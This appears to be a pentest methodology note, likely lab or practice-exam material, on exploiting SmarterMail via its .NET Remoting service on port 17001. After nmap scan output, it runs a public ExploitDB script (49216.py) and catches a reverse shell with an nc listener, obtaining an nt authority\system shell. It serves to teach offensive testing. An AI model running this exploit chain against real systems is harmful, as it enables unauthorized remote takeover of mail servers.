> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/methodology/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/methodology/readme/exploitation/web-applications/collection-of-vulnerable-apps/smartermail-+-.net-remote.md).
# SmarterMail + .Net Remote
### Initial Detection:
```
9998/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| uptime-agent-info: HTTP/1.1 400 Bad Request\x0D
| Content-Type: text/html; charset=us-ascii\x0D
| Server: Microsoft-HTTPAPI/2.0\x0D
| Date: Wed, 13 Jul 2022 16:16:02 GMT\x0D
| Connection: close\x0D
| Content-Length: 326\x0D
| \x0D
| \x0D
| Bad Request\x0D
| \x0D
| Bad Request - Invalid Verb
\x0D
|
HTTP Error 400. The request verb is invalid.
\x0D
|_\x0D
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /interface/root
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 9D7294CAAB5C2DF4CD916F53653714D5
17001/tcp open remoting syn-ack ttl 127 MS .NET Remoting services
```
Notice port 17001 running the .NET Remoting Endpoint.
{% embed url="" %}
This is what we needed for the exploit to work.
Modify our exploit to our listener and our ip.
```
python3 /usr/share/exploitdb/exploits/windows/remote/49216.py
##OUR KALI
╰─ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.49.105] from (UNKNOWN) [192.168.105.65] 49849
whoami
nt authority\system
```
---
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